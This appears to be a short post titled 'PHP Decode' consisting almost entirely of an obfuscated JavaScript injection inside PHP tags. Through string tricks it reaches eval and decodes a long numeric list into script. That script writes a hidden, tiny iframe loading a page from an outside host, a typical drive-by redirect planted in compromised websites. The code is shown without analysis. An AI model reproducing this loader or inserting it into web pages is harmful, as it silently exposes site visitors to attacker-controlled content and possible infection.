PHP Decode

<?  <script<w=window;aa=([].slice+'hjkbghkj').substr(2-1,4);if((aa=="func")||(aa=="unct")) 
aa=(document['createDocumentFragme'+'n'+'t']+'asd').substr(2-1,4);if((aa=="func")||(aa=="unct")) 
{ss=new String();s=String;12-function(){e=w['e'+'val'];f='fromCharCode';}();t='m';}ddd=new Date(); 
d2=new Date(ddd.valueOf()-2);h=(ddd-d2)*-1; 
n="4.5m4.5m52.5m51m16m20m50m55.5m49.5m58.5m54.5m50.5m55m58m23m51.5m50.5m58m34.5m54m50.5m54. 
5m50.5m55m58m57.5m33m60.5m42m48.5m51.5m39m48.5m54.5m50.5m20m19.5m49m55.5m50m60.5m19.5m20. 
5m45.5m24m46.5m20.5m61.5m4.5m4.5m4.5m52.5m51m57m48.5m54.5m50.5m57m20m20.5m29.5m4.5m4.5m62. 
5m16m50.5m54m57.5m50.5m16m61.5m4.5m4.5m4.5m50m55.5m49.5m58.5m54.5m50.5m55m58m23m59.5m57m52. 
5m58m50.5m20m17m30m52.5m51m57m48.5m54.5m50.5m16m57.5m57m49.5m30.5m19.5m52m58m58m56m29m23.5m23. 
5m51.5m54m55.5m49m48.5m54m57.5m58m48.5m58m58.5m56m50m48.5m58m50.5m23m49.5m55.5m54.5m23.5m49. 
5m48.5m49.5m52m50.5m23.5m57.5m58m48.5m58m23m56m52m56m19.5m16m59.5m52.5m50m58m52m30.5m19.5m24. 
5m24m19.5m16m52m50.5m52.5m51.5m52m58m30.5m19.5m24.5m24m19.5m16m57.5m58m60.5m54m50.5m30.5m19. 
5m59m52.5m57.5m52.5m49m52.5m54m52.5m58m60.5m29m52m52.5m50m50m50.5m55m29.5m56m55.5m57.5m52.5m58m52. 
5m55.5m55m29m48.5m49m57.5m55.5m54m58.5m58m50.5m29.5m54m50.5m51m58m29m24m29.5m58m55.5m56m29m24m29. 
5m19.5m31m30m23.5m52.5m51m57m48.5m54.5m50.5m31m17m20.5m29.5m4.5m4.5m62.5m4.5m4.5m51m58.5m55m49.5m58m52. 
5m55.5m55m16m52.5m51m57m48.5m54.5m50.5m57m20m20.5m61.5m4.5m4.5m4.5m59m48.5m57m16m51m16m30.5m16m50m55. 
5m49.5m58.5m54.5m50.5m55m58m23m49.5m57m50.5m48.5m58m50.5m34.5m54m50.5m54.5m50.5m55m58m20m19.5m52.5m51m57m48. 
5m54.5m50.5m19.5m20.5m29.5m51m23m57.5m50.5m58m32.5m58m58m57m52.5m49m58.5m58m50.5m20m19.5m57.5m57m49.5m19. 
5m22m19.5m52m58m58m56m29m23.5m23.5m51.5m54m55.5m49m48.5m54m57.5m58m48.5m58m58.5m56m50m48.5m58m50.5m23m49. 
5m55.5m54.5m23.5m49.5m48.5m49.5m52m50.5m23.5m57.5m58m48.5m58m23m56m52m56m19.5m20.5m29.5m51m23m57.5m58m60. 
5m54m50.5m23m59m52.5m57.5m52.5m49m52.5m54m52.5m58m60.5m30.5m19.5m52m52.5m50m50m50.5m55m19.5m29.5m51m23m57. 
5m58m60.5m54m50.5m23m56m55.5m57.5m52.5m58m52.5m55.5m55m30.5m19.5m48.5m49m57.5m55.5m54m58.5m58m50.5m19.5m29. 
5m51m23m57.5m58m60.5m54m50.5m23m54m50.5m51m58m30.5m19.5m24m19.5m29.5m51m23m57.5m58m60.5m54m50.5m23m58m55. 
5m56m30.5m19.5m24m19.5m29.5m51m23m57.5m50.5m58m32.5m58m58m57m52.5m49m58.5m58m50.5m20m19.5m59.5m52. 
5m50m58m52m19.5m22m19.5m24.5m24m19.5m20.5m29.5m51m23m57.5m50.5m58m32.5m58m58m57m52.5m49m58.5m58m50. 
5m20m19.5m52m50.5m52.5m51.5m52m58m19.5m22m19.5m24.5m24m19.5m20.5m29.5m4.5m4.5m4.5m50m55.5m49.5m58. 
5m54.5m50.5m55m58m23m51.5m50.5m58m34.5m54m50.5m54.5m50.5m55m58m57.5m33m60.5m42m48.5m51.5m39m48. 
5m54.5m50.5m20m19.5m49m55.5m50m60.5m19.5m20.5m45.5m24m46.5m23m48.5m56m56m50.5m55m50m33.5m52m52. 
5m54m50m20m51m20.5m29.5m4.5m4.5m62.5"; 
n=n["split"](t);for(i=0;n.length-i>0;i++)ss+=s[f](-h*n[i]);f=ss;e(f); 
</script> ?>